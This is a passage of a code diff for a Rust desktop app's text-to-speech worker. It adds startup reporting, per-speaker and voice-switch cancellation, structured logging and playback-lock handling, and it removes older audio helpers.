+        let worker_voice_generation = Arc::clone(&voice_generation);
+        let speaker_generations = Arc::new(Mutex::new(HashMap::new()));
+        let worker_speaker_generations = Arc::clone(&speaker_generations);
+        let active_speaker = Arc::new(Mutex::new(None));
+        let worker_active_speaker = Arc::clone(&active_speaker);
+        let speaker_cancel = Arc::new(Mutex::new(None));
+        let worker_speaker_cancel = Arc::clone(&speaker_cancel);
+        let playback_probe = PlaybackProbe::new();
+        let worker_playback_probe = playback_probe.clone();
+        let voice_change_ack = Arc::new(Mutex::new(None));
+        let worker_voice_change_ack = Arc::clone(&voice_change_ack);
         let model_dir_worker = model_dir.clone();
+        let (startup_tx, startup_rx) = mpsc::sync_channel(1);
 
         let handle = thread::Builder::new()
             .name("tts-worker".into())
             .spawn(move || {
                 tts_worker(
                     model_dir_worker,
-                    voice_name,
+                    (
+                        voice_worker,
+                        worker_voice_generation,
+                        worker_voice_change_ack,
+                    ),
                     text_rx,
-                    tts_active_worker,
-                    shutdown_worker,
-                    cancel_worker,
+                    (
+                        tts_active_worker,
+                        shutdown_worker,
+                        (cancel_worker, worker_voice_cancel),
+                        worker_speaker_generations,
+                        worker_active_speaker,
+                        worker_speaker_cancel,
+                        worker_playback_probe,
+                    ),
                     output_device,
+                    activity_app,
+                    startup_tx,
                 )
             })
             .map_err(|e| format!("failed to spawn tts-worker thread: {e}"))?;
+        let handle = await_worker_startup(handle, startup_rx)?;
 
         Ok(Self {
             text_tx,
             tts_active,
             shutdown,
             cancel,
-            voice: voice.to_string(),
+            voice_cancel,
+            voice,
+            voice_generation,
+            speaker_generations,
+            active_speaker,
+            speaker_cancel,
+            playback_probe,
+            voice_change_ack,
             thread: Some(handle),
         })
     }
-
-    /// Queue `text` for TTS synthesis and playback.
-    ///
-    /// Non-blocking. Returns `Err` if the queue is full (bounded at
-    /// `TEXT_QUEUE_DEPTH`) — caller may log and discard.
-    pub fn speak(&self, text: String) -> Result<(), String> {
-        self.text_tx.try_send(text).map_err(|e| {
-            eprintln!("buzz-desktop: TTS queue saturated, dropping message: {e}");
-            format!("TTS queue full, dropping: {e}")
-        })
-    }
-
-    /// Signal the worker thread to stop.
-    pub fn shutdown(&self) {
-        self.shutdown.store(true, Ordering::Release);
-    }
-
-    /// Returns `true` if the worker thread has exited (init failure, crash, or normal exit).
-    /// Used by hot-start to detect dead pipelines and clear them for retry.
-    pub fn is_finished(&self) -> bool {
-        self.thread.as_ref().is_none_or(|h| h.is_finished())
-    }
 }
 
 impl Drop for TtsPipeline {
@@ -239,40 +283,62 @@ impl Drop for TtsPipeline {
 
 fn tts_worker(
     model_dir: PathBuf,
-    voice_name: String,
-    text_rx: mpsc::Receiver<String>,
-    tts_active: Arc<AtomicBool>,
-    shutdown: Arc<AtomicBool>,
-    cancel: Arc<AtomicBool>,
+    voice_state: WorkerVoiceState,
+    text_rx: mpsc::Receiver<QueuedText>,
+    control_state: WorkerControlState,
     output_device: Option<String>,
+    activity_app: Option<tauri::AppHandle>,
+    startup_tx: mpsc::SyncSender<Result<(), String>>,
 ) {
+    let (selected_voice, voice_generation, voice_change_ack) = voice_state;
+    let (
+        tts_active,
+        shutdown,
+        cancel_signals,
+        speaker_generations,
+        active_speaker,
+        speaker_cancel,
+        playback_probe,
+    ) = control_state;
+    let (cancel, voice_cancel) = cancel_signals;
     // ── 1. Initialise TTS engine ──────────────────────────────────────────────
     let model_dir_str = model_dir.to_string_lossy().to_string();
 
     let engine = match load_text_to_speech(&model_dir_str) {
         Ok(e) => e,
         Err(e) => {
-            eprintln!(
-                "buzz-desktop: TTS engine init failed (model_dir={}): {e}. TTS disabled.",
-                model_dir.display()
-            );
-            drain_until_shutdown(text_rx, &shutdown);
+            let error = format!("TTS engine initialization failed: {e}");
+            eprintln!("buzz-desktop: tts stage=startup status=failed reason=engine_load");
+            let _ = startup_tx.send(Err(error));
             return;
         }
     };
 
     // ── 2. Load voice style ───────────────────────────────────────────────────
-    let voice_path = model_dir.join(format!("{voice_name}.{VOICE_FILE_EXT}"));
-    let style = match load_voice_style(&voice_path) {
+    let requested_voice = selected_voice
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .clone();
+    let mut voice_name = DEFAULT_VOICE.to_string();
+    let fallback_path = model_dir.join(format!("{DEFAULT_VOICE}.{VOICE_FILE_EXT}"));
+    let mut style = match load_voice_style(&fallback_path) {
         Ok(s) => s,
         Err(e) => {
-            eprintln!(
-                "buzz-desktop: TTS voice style load failed ({voice_name}): {e}. TTS disabled."
-            );
-            drain_until_shutdown(text_rx, &shutdown);
+            let error = format!("TTS voice style initialization failed: {e}");
+            eprintln!("buzz-desktop: tts stage=startup status=failed reason=fallback_voice_style");
+            let _ = startup_tx.send(Err(error));
             return;
         }
     };
+    if requested_voice != DEFAULT_VOICE
+        && !reconcile_selected_voice(&model_dir, &selected_voice, &mut voice_name, &mut style)
+    {
+        let _ = startup_tx.send(Err(
+            "TTS selected voice and Mary fallback are unavailable".to_string()
+        ));
+        return;
+    }
+    let mut style_cache = HashMap::from([(voice_name.clone(), style.clone())]);
 
     // ── 2b. Warmup inference ─────────────────────────────────────────────────
     // The first ONNX inference on any session is significantly slower than
@@ -280,15 +346,10 @@ fn tts_worker(
     // pool allocation, and graph-specific caches. Run a short dummy synthesis
     // and discard the output so the first real utterance runs at warm-session speed.
     {
-        let t = std::time::Instant::now();
         match engine.synth_chunk("warmup", "en", &style, SYNTH_STEPS) {
-            Ok(_) => eprintln!(
-                "buzz-desktop: TTS warmup completed in {:.0}ms",
-                t.elapsed().as_millis()
-            ),
-            Err(e) => eprintln!(
-                "buzz-desktop: TTS warmup failed after {:.0}ms: {e} — first utterance may be slow",
-                t.elapsed().as_millis()
+            Ok(_) => eprintln!("buzz-desktop: tts stage=warmup status=ready"),
+            Err(_) => eprintln!(
+                "buzz-desktop: tts stage=warmup status=failed reason=inference first_utterance_may_be_slow=true"
             ),
         }
     }
@@ -301,8 +362,9 @@ fn tts_worker(
     {
         Ok(h) => h,
         Err(e) => {
-            eprintln!("buzz-desktop: TTS audio output failed: {e}. TTS disabled.");
-            drain_until_shutdown(text_rx, &shutdown);
+            let error = format!("TTS audio output initialization failed: {e}");
+            eprintln!("buzz-desktop: tts stage=startup status=failed reason=output_open");
+            let _ = startup_tx.send(Err(error));
             return;
         }
     };
@@ -310,14 +372,14 @@ fn tts_worker(
     let channels = match NonZero::new(1u16) {
         Some(c) => c,
         None => {
-            eprintln!("buzz-desktop: TTS channel count invariant violated");
+            let _ = startup_tx.send(Err("TTS channel count invariant violated".to_string()));
             return;
         }
     };
     let rate = match NonZero::new(SAMPLE_RATE) {
         Some(r) => r,
         None => {
-            eprintln!("buzz-desktop: TTS sample rate invariant violated");
+            let _ = startup_tx.send(Err("TTS sample rate invariant violated".to_string()));
             return;
         }
     };
@@ -330,6 +392,7 @@ fn tts_worker(
     // Shared (Arc) with the barge-in monitor thread below, which needs to
     // silence it while this thread is blocked inside `synth_chunk`.
     let player = Arc::new(Player::connect_new(sink_handle.mixer()));
+    playback_probe.install(Arc::clone(&player));
 
     // Prime the audio output stream with a short silent buffer.
     // On macOS, CoreAudio initializes the output device lazily on first use.
@@ -341,63 +404,38 @@ fn tts_worker(
         player.append(SamplesBuffer::new(channels, rate, silence));
         // Wait for the silent buffer to drain — this ensures the output stream
         // is fully initialized before the first real utterance.
+        let deadline = std::time::Instant::now() + AUDIO_PRIME_TIMEOUT;
         while !player.empty() {
+            if std::time::Instant::now() >= deadline {
+                eprintln!("buzz-desktop: tts stage=startup status=failed reason=output_prime");
+                let _ = startup_tx.send(Err(
+                    "TTS audio output did not become ready before timeout".to_string(),
+                ));
+                return;
+            }
             thread::sleep(Duration::from_millis(10));
         }
     }
+    if startup_tx.send(Ok(())).is_err() {
+        return;
+    }
+    eprintln!("buzz-desktop: tts stage=startup status=ready");
 
-    // ── 3b. Barge-in monitor thread ───────────────────────────────────────────
-    //
-    // The worker loop only observes `cancel` between sentences — while it is
-    // blocked inside `synth_chunk` (hundreds of ms for a long sentence),
-    // nothing would silence the audio that is already playing. The monitor
-    // closes that gap: every MONITOR_TICK it checks the flag and, while set,
-    // silences the player and releases the mic gate. It does NOT consume the
-    // flag — the worker still owns that (drain queue, reset lead-in), so the
-    // monitor keeps re-clearing until the worker catches up, which also
-    // covers a sentence appended in the race window after the worker's own
-    // post-synthesis cancel check.
-    //
-    // `player_ops` closes the converse race (found in review): the monitor
-    // loads `cancel == true`, is preempted, the worker consumes the cancel
-    // and appends a fresh post-cancel utterance, then the monitor resumes
-    // from its stale branch and deletes audio that was meant to play. All
-    // worker player mutations (appends and cancel/shutdown clears) hold this
-    // lock, and the monitor re-checks `cancel` *while holding it* — so its
-    // clear either runs before fresh audio can be appended, or observes
-    // `cancel == false` and no-ops. The lock is uncontended except during an
-    // actual barge-in, so the hot path is unaffected.
-    let player_ops = Arc::new(Mutex::new(()));
+    let player_ops = Arc::clone(&playback_probe.player_ops);
+    let activity_frames = Arc::new(Mutex::new(VecDeque::<TtsSpeakerActivityFrame>::new()));
     let monitor_stop = Arc::new(AtomicBool::new(false));
-    let monitor = {
-        let player = Arc::clone(&player);
-        let cancel = Arc::clone(&cancel);
-        let tts_active = Arc::clone(&tts_active);
-        let stop = Arc::clone(&monitor_stop);
-        let player_ops = Arc::clone(&player_ops);
-        thread::Builder::new()
-            .name("tts-barge-in-monitor".into())
-            .spawn(move || {
-                while !stop.load(Ordering::Acquire) {
-                    if cancel.load(Ordering::Acquire) {
-                        let _ops = lock_player_ops(&player_ops);
-                        // Re-check under the lock: the worker may have
-                        // consumed this cancel (and appended fresh audio)
-                        // between the load above and the lock acquisition.
-                        if cancel.load(Ordering::Acquire) {
-                            // clear() pauses the persistent player; play()
-                            // un-pauses (see handle_cancel_or_shutdown).
-                            // Idempotent — safe to repeat every tick until
-                            // the worker consumes the flag.
-                            player.clear();
-                            player.play();
-                            tts_active.store(false, Ordering::Release);
-                        }
-                    }
-                    thread::sleep(MONITOR_TICK);
-                }
-            })
-    };
+    let monitor = spawn_tts_monitor(TtsMonitorState {
+        player: Arc::clone(&player),
+        cancel: Arc::clone(&cancel),
+        voice_cancel: Arc::clone(&voice_cancel),
+        tts_active: Arc::clone(&tts_active),
+        stop: Arc::clone(&monitor_stop),
+        player_ops: Arc::clone(&player_ops),
+        activity_frames: Arc::clone(&activity_frames),
+        active_speaker: Arc::clone(&active_speaker),
+        speaker_cancel: Arc::clone(&speaker_cancel),
+        activity_app,
+    });
     if let Err(ref e) = monitor {
         // Degraded but functional: barge-in still works between sentences
         // via the worker's own checks, just not mid-synthesis.
@@ -418,13 +456,93 @@ fn tts_worker(
     // idle branch below uses it to decide when to drop `tts_active` and to
     // arm a fresh lead-in cushion for the next utterance.
     let mut first_append = true;
+    let mut last_route_id = 0;
+    let mut deferred_text = VecDeque::new();
+    let append_audio = |prepared: PreparedModelAudio,
+                        route_id: u64,
+                        speaker_pubkey: Option<&str>,
+                        speaker_generation: u64| {
+        let _ops = lock_player_ops(&player_ops);
+        if cancel.load(Ordering::Acquire)
+            || voice_cancel.load(Ordering::Acquire)
+            || shutdown.load(Ordering::Acquire)
+        {
+            let reason = if shutdown.load(Ordering::Acquire) {
+                "shutdown"
+            } else if cancel.load(Ordering::Acquire) {
+                "barge_in"
+            } else {
+                "voice_switch"
+            };
+            eprintln!(
+                "buzz-desktop: tts stage=synthesis status=cancelled reason={reason} route_id={route_id}"
+            );
+            return false;
+        }
+        let speaker_is_current = speaker_pubkey.is_none_or(|pubkey| {
+            current_speaker_generation(&speaker_generations, pubkey) == speaker_generation
+        });
+        if !speaker_is_current {
+            eprintln!(
+                "buzz-desktop: tts stage=synthesis status=cancelled reason=speaker_removed route_id={route_id}"
+            );
+            return false;
+        }
+        if let Some(pubkey) = speaker_pubkey {
+            let mut active = active_speaker
+                .lock()
+                .unwrap_or_else(|error| error.into_inner());
+            if player.empty() {
+                active.take();
+            }
+            if active
+                .as_deref()
+                .is_some_and(|current| !current.eq_ignore_ascii_case(pubkey))
+            {
+                return false;
+            }
+            active.get_or_insert_with(|| pubkey.to_ascii_lowercase());
+        }
+        if let Some(pubkey) = speaker_pubkey {
+            activity_frames
+                .lock()
+                .unwrap_or_else(|error| error.into_inner())
+                .extend(build_tts_speaker_activity_frames(
+                    &prepared.buffer,
+                    pubkey,
+                    SAMPLE_RATE as usize,
+                ));
+        }
+        player.append(SamplesBuffer::new(channels, rate, prepared.buffer));
+        eprintln!(
+            "buzz-desktop: tts stage=player status=append_accepted route_id={route_id} chunk_index={} sample_count={}",
+            prepared.chunk_index, prepared.sample_count
+        );
+        // Set this only after append so STT remains open during synthesis.
+        tts_active.store(true, Ordering::Release);
+        true
+    };
 
     loop {
+        let mut no_current_text = None;
+        if consume_speaker_cancel(
+            &speaker_cancel,
+            &active_speaker,
+            &speaker_generations,
+            &tts_active,
+            (&text_rx, &mut deferred_text, &mut no_current_text),
+            Some((&player, &player_ops)),
+        ) {
+            first_append = true;
+            continue;
+        }
         if handle_cancel_or_shutdown(
-            &cancel,
+            (&cancel, &voice_cancel),
             &shutdown,
             &tts_active,
-            &text_rx,
+            (&text_rx, &mut deferred_text, &mut no_current_text),
+            &voice_change_ack,
+            None,
             Some((&player, &player_ops)),
         ) {
             if shutdown.load(Ordering::Acquire) {
@@ -436,28 +554,56 @@ fn tts_worker(
             continue;
         }
 
-        let raw_text = match text_rx.recv_timeout(RECV_TIMEOUT) {
-            Ok(t) => t,
-            Err(mpsc::RecvTimeoutError::Timeout) => {
-                // Nothing queued. If playback has also finished, the agent
-                // has gone quiet — release the mic gate and reset the
-                // lead-in so the next utterance gets a fresh cushion.
-                if player.empty() && !first_append {
-                    tts_active.store(false, Ordering::Release);
-                    first_append = true;
-                }
+        // A global Settings voice change cancels the old utterance and is
+        // acknowledged before receiving subsequent text. Per-agent voice
+        // changes are carried by each queue item and never drain other agents.
+        if has_pending_voice_change(&voice_change_ack) {
+            let voice_ready =
+                reconcile_selected_voice(&model_dir, &selected_voice, &mut voice_name, &mut style);
+            if voice_ready {
+                style_cache.insert(voice_name.clone(), style.clone());
+            }
+            acknowledge_voice_change(&voice_change_ack, &voice_cancel);
+            if !voice_ready {
                 continue;
             }
-            Err(mpsc::RecvTimeoutError::Disconnected) => break,
-        };
+        }
+
+        let mut queued_text = Some(match deferred_text.pop_front() {
+            Some(text) => text,
+            None => match text_rx.recv_timeout(RECV_TIMEOUT) {
+                Ok(text) => text,
+                Err(mpsc::RecvTimeoutError::Timeout) => {
+                    // Nothing queued. If playback has also finished, the agent
+                    // has gone quiet — release the mic gate and reset the
+                    // lead-in so the next utterance gets a fresh cushion.
+                    if player.empty() && !first_append {
+                        tts_active.store(false, Ordering::Release);
+                        active_speaker
+                            .lock()
+                            .unwrap_or_else(|error| error.into_inner())
+                            .take();
+                        eprintln!(
+                            "buzz-desktop: tts stage=player status=drained route_id={last_route_id}"
+                        );
+                        first_append = true;
+                    }
+                    continue;
+                }
+                Err(mpsc::RecvTimeoutError::Disconnected) => break,
+            },
+        });
 
         // Check cancel again after unblocking — a cancel may have arrived
         // while we were waiting.
+        let pending_route_id = queued_text.as_ref().map(|queued| queued.route_id);
         if handle_cancel_or_shutdown(
-            &cancel,
+            (&cancel, &voice_cancel),
             &shutdown,
             &tts_active,
-            &text_rx,
+            (&text_rx, &mut deferred_text, &mut queued_text),
+            &voice_change_ack,
+            pending_route_id,
             Some((&player, &player_ops)),
         ) {
             if shutdown.load(Ordering::Acquire) {
@@ -466,23 +612,96 @@ fn tts_worker(
             first_append = true;
             continue;
         }
+        let Some(queued_text) = queued_text else {
+            continue;
+        };
+        if !queued_speaker_is_current(&speaker_generations, &queued_text) {
+            eprintln!(
+                "buzz-desktop: tts stage=queue status=dropped reason=speaker_removed route_id={}",
+                queued_text.route_id
+            );
+            continue;
+        }
+        if queued_text.generation < voice_generation.load(Ordering::Acquire) {
+            eprintln!(
+                "buzz-desktop: tts stage=queue status=dropped reason=voice_switch route_id={}",
+                queued_text.route_id
+            );
+            continue;
+        }
+        if !player.empty()
+            && queued_text
+                .speaker_pubkey
+                .as_deref()
+                .is_some_and(|speaker| {
+                    active_speaker
+                        .lock()
+                        .unwrap_or_else(|error| error.into_inner())
+                        .as_deref()
+                        .is_some_and(|active| !active.eq_ignore_ascii_case(speaker))
+                })
+        {
+            deferred_text.push_front(queued_text);
+            thread::sleep(RECV_TIMEOUT);
+            continue;
+        }
+        let requested_voice = queued_text.voice_reference.unwrap_or_else(|| {
+            selected_voice
+                .lock()
+                .unwrap_or_else(|error| error.into_inner())
+                .clone()
+        });
+        let raw_text = queued_text.text;
+        let speaker_pubkey = queued_text.speaker_pubkey;
+        let speaker_generation = queued_text.speaker_generation;
+        let route_id = queued_text.route_id;
+        eprintln!("buzz-desktop: tts stage=synthesis status=started route_id={route_id}");
 
         // If playback already drained while we were waiting for this item,
-        // the agent is silent — release the mic gate BEFORE preprocessing/
-        // synthesis. Without this, an item arriving inside the recv timeout
-        // window would run the whole synthesis pass with `tts_active` stuck
-        // true and nothing playing, making STT discard human speech as
-        // "echo" during a silent window. (Pipelining is unaffected: when
-        // audio is still draining, `player.empty()` is false and the flag
-        // stays set across items.)
-        if player.empty() && !first_append {
-            tts_active.store(false, Ordering::Release);
-            first_append = true;
+        // release stale ownership before doing any potentially slow voice or
+        // synthesis work. Serialize the drain decision with Stop and append so
+        // those paths observe one coherent utterance boundary.
+        {
+            let _ops = lock_player_ops(&player_ops);
+            if player.empty() && !first_append {
+                tts_active.store(false, Ordering::Release);
+                active_speaker
+                    .lock()
+                    .unwrap_or_else(|error| error.into_inner())
+                    .take();
+                eprintln!("buzz-desktop: tts stage=player status=drained route_id={last_route_id}");
+                first_append = true;
+            }
+        }
+
+        // From this point until the item finishes, an empty player can mean a
+        // voice-preparation or synthesis gap rather than a drained utterance.
+        // Stop must remain able to invalidate the in-flight speaker generation.
+        let _synthesis_flight = playback_probe.begin_synthesis();
+
+        // The selected per-agent voice travels with the queue item, preserving
+        // message order while allowing one warmed Pocket engine to alternate
+        // between cached reference styles.
+        if !reconcile_queued_voice(
+            &model_dir,
+            &requested_voice,
+            &selected_voice,
+            &mut voice_name,
+            &mut style,
+            &mut style_cache,
+        ) {
+            eprintln!(
+                "buzz-desktop: tts stage=synthesis status=failed reason=voice_unavailable route_id={route_id}"
+            );
+            continue;
         }
 
         // Preprocess text.
         let text = preprocess_for_tts(&raw_text);
         if text.is_empty() {
+            eprintln!(
+                "buzz-desktop: tts stage=synthesis status=empty reason=preprocess route_id={route_id}"
+            );
             continue;
         }
 
@@ -497,16 +716,29 @@ fn tts_worker(
             .filter(|s| !s.trim().is_empty())
             .collect();
         let chunks = group_sentences_into_chunks(&sentences, MAX_CHUNK_CHARS);
+        if chunks.is_empty() {
+            eprintln!(
+                "buzz-desktop: tts stage=synthesis status=empty reason=no_chunks route_id={route_id}"
+            );
+            continue;
+        }
 
+        let mut synthesis_outcome = "completed";
+        let mut appended_audio = false;
+        let mut model_unit_index = 0_usize;
         'playback_chunks: for chunk in &chunks {
+            let mut no_current_text = None;
             if handle_cancel_or_shutdown(
-                &cancel,
+                (&cancel, &voice_cancel),
                 &shutdown,
                 &tts_active,
-                &text_rx,
+                (&text_rx, &mut deferred_text, &mut no_current_text),
+                &voice_change_ack,
+                Some(route_id),
                 Some((&player, &player_ops)),
             ) {
                 first_append = true;
+                synthesis_outcome = "cancelled";
                 break;
             }
 
@@ -517,76 +749,121 @@ fn tts_worker(
 
             let model_chunks = match engine.split_text_into_chunks(text) {
                 Ok(model_chunks) => model_chunks,
-                Err(error) => {
-                    eprintln!("buzz-desktop: TTS chunking failed: {error}");
-                    break;
+                Err(_) => {
+                    eprintln!(
+                        "buzz-desktop: tts stage=synthesis status=failed reason=chunking route_id={route_id}"
+                    );
+                    synthesis_outcome = "failed";
+                    break 'playback_chunks;
                 }
             };
-            let model_chunk_count = model_chunks.len();
-            for (model_chunk_index, model_chunk) in model_chunks.iter().enumerate() {
+            if model_chunks.is_empty() {
+                eprintln!(
+                    "buzz-desktop: tts stage=synthesis status=empty reason=no_chunks route_id={route_id}"
+                );
+                continue;
+            }
+            let mut playback_audio = PlaybackChunkAudio::new();
+            for model_chunk in &model_chunks {
+                let chunk_index = model_unit_index;
+                model_unit_index += 1;
+                let mut no_current_text = None;
                 if handle_cancel_or_shutdown(
-                    &cancel,
+                    (&cancel, &voice_cancel),
                     &shutdown,
                     &tts_active,
-                    &text_rx,
+                    (&text_rx, &mut deferred_text, &mut no_current_text),
+                    &voice_change_ack,
+                    Some(route_id),
                     Some((&player, &player_ops)),
                 ) {
                     first_append = true;
+                    synthesis_outcome = "cancelled";
                     break 'playback_chunks;
                 }
 
-                let ends_playback_chunk = model_chunk_index + 1 == model_chunk_count;
-                match engine.synth_chunk(model_chunk, "en", &style, SYNTH_STEPS) {
+                let synthesis = engine.synth_chunk(model_chunk, "en", &style, SYNTH_STEPS);
+                if cancel.load(Ordering::Acquire)
+                    || voice_cancel.load(Ordering::Acquire)
+                    || shutdown.load(Ordering::Acquire)
+                {
+                    let reason = if shutdown.load(Ordering::Acquire) {
+                        "shutdown"
+                    } else if cancel.load(Ordering::Acquire) {
+                        "barge_in"
+                    } else {
+                        "voice_switch"
+                    };
+                    eprintln!(
+                        "buzz-desktop: tts stage=synthesis status=cancelled reason={reason} route_id={route_id}"
+                    );
+                    // The monitor already stopped any queued playback. Discard
+                    // synthesis that completed after cancellation so stale audio
+                    // never reaches the player, while keeping buzz-voice's
+                    // extracted April engine API unchanged.
+                    first_append = true;
+                    synthesis_outcome = "cancelled";
+                    break 'playback_chunks;
+                }
+                match synthesis {
                     Ok(samples) if !samples.is_empty() => {
-                        let mut audio = clamp_to_full_scale(samples);
-                        if ends_playback_chunk {
-                            // Fade only at the playback-chunk boundary. Applying
-                            // it at the model's internal token boundary would
-                            // create an audible dip between contiguous units.
-                            apply_fade_out(&mut audio);
-                        }
-
-                        let buf = build_sentence_append_buffer(
+                        if let Some(prepared) = playback_audio.push(
+                            samples,
+                            chunk_index,
                             &mut first_append,
-                            audio,
                             silence_buf_len,
-                            model_chunk_index == 0 || player.empty(),
-                            ends_playback_chunk,
-                        );
-
-                        // Check-and-append under `player_ops`, serialized with
-                        // the monitor: a barge-in may have arrived during
-                        // synthesis (the blocking window the monitor thread
-                        // exists for). Don't append the now-stale sentence — the
-                        // human interrupted; speaking it anyway would talk over
-                        // them. Holding the lock for the check + append means the
-                        // monitor can never clear between our check passing and
-                        // the buffer landing. The flag is deliberately NOT
-                        // consumed here: the loop-top handle_cancel_or_shutdown
-                        // does the full consume (drain queue, reset lead-in) on
-                        // the next iteration.
-                        let _ops = lock_player_ops(&player_ops);
-                        if cancel.load(Ordering::Acquire) {
-                            // Nothing appended; the loop-top consume re-arms
-                            // `first_append` (the flag is still set — the worker
-                            // is its only consumer).
-                            break;
+                            player.empty(),
+                        ) {
+                            if !append_audio(
+                                prepared,
+                                route_id,
+                                speaker_pubkey.as_deref(),
+                                speaker_generation,
+                            ) {
+                                first_append = true;
+                                synthesis_outcome = "cancelled";
+                                break 'playback_chunks;
+                            }
+                            appended_audio = true;
+                            last_route_id = route_id;
                         }
-                        player.append(SamplesBuffer::new(channels, rate, buf));
-                        // NOTE: tts_active is set AFTER player.append(), not
-                        // before. Setting it before synthesis would cause STT to
-                        // discard user speech during the synthesis window as
-                        // "echo" even though no audio is actually playing yet.
-                        // See crossfire review C3.
-                        tts_active.store(true, Ordering::Release);
                     }
-                    Ok(_) => {}
-                    Err(e) => {
-                        eprintln!("buzz-desktop: TTS synth failed: {e}");
+                    Ok(_) => {
+                        eprintln!(
+                            "buzz-desktop: tts stage=synthesis status=empty route_id={route_id} chunk_index={chunk_index}"
+                        );
+                    }
+                    Err(_) => {
+                        eprintln!(
+                            "buzz-desktop: tts stage=synthesis status=failed reason=inference route_id={route_id} chunk_index={chunk_index}"
+                        );
+                        synthesis_outcome = "failed";
                         break;
                     }
                 }
             }
+            if let Some(prepared) =
+                playback_audio.finish(&mut first_append, silence_buf_len, player.empty())
+            {
+                if !append_audio(
+                    prepared,
+                    route_id,
+                    speaker_pubkey.as_deref(),
+                    speaker_generation,
+                ) {
+                    first_append = true;
+                    synthesis_outcome = "cancelled";
+                    break 'playback_chunks;
+                }
+                appended_audio = true;
+                last_route_id = route_id;
+            }
+            if synthesis_outcome == "failed" {
+                break 'playback_chunks;
+            }
+        }
+        if synthesis_outcome == "completed" && appended_audio {
+            eprintln!("buzz-desktop: tts stage=synthesis status=completed route_id={route_id}");
         }
 
         if shutdown.load(Ordering::Acquire) {
@@ -601,6 +878,7 @@ fn tts_worker(
         let _ = handle.join();
     }
 
+    finish_voice_change_ack(&voice_change_ack);
     tts_active.store(false, Ordering::Release);
 }
 
@@ -614,13 +892,21 @@ fn tts_worker(
 /// it is serialized with the monitor's stale-branch re-check (see the monitor
 /// block in `tts_worker`).
 fn handle_cancel_or_shutdown(
-    cancel: &AtomicBool,
+    cancel_signals: CancelSignals<'_>,
     shutdown: &AtomicBool,
     tts_active: &AtomicBool,
-    text_rx: &mpsc::Receiver<String>,
+    text_state: CancelTextState<'_>,
+    voice_change_ack: &VoiceChangeAck,
+    active_route_id: Option<u64>,
     player: Option<(&rodio::Player, &Mutex<()>)>,
 ) -> bool {
+    let (cancel, voice_cancel) = cancel_signals;
+    let (text_rx, deferred_text, current_text) = text_state;
     if shutdown.load(Ordering::Acquire) {
+        eprintln!(
+            "buzz-desktop: tts stage=cancellation reason=shutdown route_id={}",
+            active_route_id.unwrap_or(0)
+        );
         if let Some((p, ops)) = player {
             let _ops = lock_player_ops(ops);
             p.clear();
@@ -628,7 +914,29 @@ fn handle_cancel_or_shutdown(
         tts_active.store(false, Ordering::Release);
         return true;
     }
-    if cancel.load(Ordering::Acquire) {
+    if cancel.load(Ordering::Acquire) || voice_cancel.load(Ordering::Acquire) {
+        // Serialize with begin_voice_change so the generation boundary and
+        // cancel consumption are observed as one transition.
+        let pending_voice_change = voice_change_ack
+            .lock()
+            .unwrap_or_else(|error| error.into_inner());
+        // Consume at the serialization point. A later barge-in remains true
+        // for the next pass instead of being overwritten after queue cleanup.
+        let barge_in = cancel.swap(false, Ordering::AcqRel);
+        voice_cancel.store(false, Ordering::Release);
+        eprintln!(
+            "buzz-desktop: tts stage=cancellation reason={} route_id={}",
+            if barge_in { "barge_in" } else { "voice_switch" },
+            active_route_id.unwrap_or(0)
+        );
+        let preserve_generation = (!barge_in)
+            .then(|| {
+                pending_voice_change
+                    .as_ref()
+                    .map(|pending| pending.generation)
+            })
+            .flatten();
+        retain_cancelled_text(deferred_text, current_text, text_rx, preserve_generation);
         if let Some((p, ops)) = player {
             let _ops = lock_player_ops(ops);
             // `Player::clear()` removes queued sources AND pauses the player
@@ -641,11 +949,6 @@ fn handle_cancel_or_shutdown(
             // Consume the flag under the lock: once released with
             // `cancel == false`, the monitor's stale branch no-ops instead
             // of clearing the fresh post-cancel utterance.
-            while text_rx.try_recv().is_ok() {}
-            cancel.store(false, Ordering::Release);
-        } else {
-            while text_rx.try_recv().is_ok() {}
-            cancel.store(false, Ordering::Release);
         }
         tts_active.store(false, Ordering::Release);
         return true;
@@ -663,140 +966,11 @@ fn lock_player_ops(ops: &Mutex<()>) -> MutexGuard<'_, ()> {
     ops.lock().unwrap_or_else(PoisonError::into_inner)
 }
 
-/// Hard-clamp samples to ±1.0 full scale.
-///
-/// No gain is applied because Pocket TTS already emits speech-level audio and
-/// the reference pipeline applies no output scaling. Normalizing each sentence
-/// would cause level pumping between chunks. The clamp remains only as a safety
-/// net against outlier transients.
-fn clamp_to_full_scale(samples: Vec<f32>) -> Vec<f32> {
-    samples.into_iter().map(|s| s.clamp(-1.0, 1.0)).collect()
-}
-
-/// Apply a short linear fade-out at the *end* of `samples`.
-///
-/// Uses `FADE_OUT_SAMPLES` (8 ms) or half the buffer length, whichever is
-/// smaller. Eliminates the click that occurs when a non-zero waveform
-/// terminates abruptly at a sentence boundary.
-///
-/// # Why no fade-in
-///
-/// A symmetric fade-in would attenuate the leading consonant attack because
-/// Pocket TTS produces real audio energy inside the first millisecond. A
-/// linear 0→1 ramp over 192 samples scales those onset samples by ≤50% for the
-/// first ~4 ms, which can make the first phoneme sound clipped.
-///
-/// The first sample of Pocket output measures ≈ 0.0018 (≈ −54 dBFS) — well
-/// below the threshold at which a DC-jump would be audible as a click — so
-/// no fade-in is needed. The OS audio device gets its quiet ramp-up window
-/// from `SENTENCE_LEAD_IN_SAMPLES` instead, inserted as pure silence before
-/// each sentence buffer.
-fn apply_fade_out(samples: &mut [f32]) {
-    let len = samples.len();
-    let fade = FADE_OUT_SAMPLES.min(len / 2);
-    for i in 0..fade {
-        samples[len - 1 - i] *= i as f32 / fade as f32;
-    }
-}
-
-/// Build one buffer appended to the rodio `Player` for a synthesis unit.
-///
-/// Every playback boundary gets a short lead-in pad immediately before its
-/// audio. This matters for chunks that start with soft first phonemes (`I'm`,
-/// `I've`): the synthesized buffer can begin with speech within the first
-/// millisecond, so the playback layer must provide the device/mixer cushion.
-/// To keep the audible gap unchanged, the trailing silence after this chunk is
-/// shortened by the same amount (`silence_buf_len - SENTENCE_LEAD_IN_SAMPLES`):
-/// sentence N contributes 80 ms of post-speech silence and sentence N+1
-/// contributes the remaining 20 ms of pre-speech cushion.
-///
-/// The lead-in, audio, and trailing silence are concatenated into one
-/// `SamplesBuffer` before appending. This keeps rodio's queue shape at one
-/// tracked source per synthesized sentence, avoiding source-boundary/drain
-/// regressions from enqueueing the lead-in, audio, and tail as separate sounds.
-///
-/// A playback chunk may contain several model-sized synthesis units. Only the
-/// first unit receives the onset cushion and only the last receives the
